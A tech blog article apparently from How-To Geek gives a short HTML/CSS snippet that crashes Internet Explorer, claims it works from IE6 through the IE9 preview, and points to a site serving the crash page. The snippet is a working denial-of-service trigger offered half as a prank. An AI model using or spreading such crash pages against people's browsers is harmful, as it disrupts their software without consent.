How to Crash Any Version of Internet Explorer with Simple HTML

image

We’ve already shown you why so many geeks hate Internet Explorer, and since it’s almost Halloween we figured we’d show you something really scary—how to crash any version of Internet Explorer with nothing more than HTML and CSS.

Note: we’re really not trying to bash on Internet Explorer—in fact, the latest beta version is really quite nice, but we figured we’d have some fun with this bug, and maybe somebody at Microsoft will fix this problem before the final release.

How to Crash Internet Explorer with HTML

Simply open up notepad or another text editor, paste in the following, and save it as SomeFilename.html.

<html><head>
<style type="text/css">
#a {
        margin:0 10px 10px;
}

#b {
        width:100%;
}

</style>
<title>IE Crasher</title>
</head>
<body>
<table><tr><td>
<div id="a">
<form id="b">
<input type="text" name="test"/>
</div>
</td><td width="1"></td></tr></table>
</body></html>

It should end up looking something like this:

image

Then open it up in Internet Explorer, and BOOM! IE is dead.

Note: hilariously, when I originally put this HTML code into the article, it actually crashed Windows Live Writer repeatedly. Finally had to login to WordPress and remove the code from there in order to be able to even open up the post again.

Where Does This Work?

We’ve tested this out, and it seems to crash just about every single version of IE, from IE6 even up to the latest Internet Explorer 9 platform preview that was released earlier today.

image

Credits

It’s at this point that we should point out that we didn’t figure this out—in fact, there’s a web site that you can visit that will crash IE, and we got the source code from that site.

DO NOT CLICK THIS OR YOUR BROWSER WILL CRASH –> crashie8.com

Please share this link responsibly.

Lowell Heddings, better known online as the How-To Geek, spends all his free time bringing you fresh geekery on a daily basis. You can follow him on if you'd like.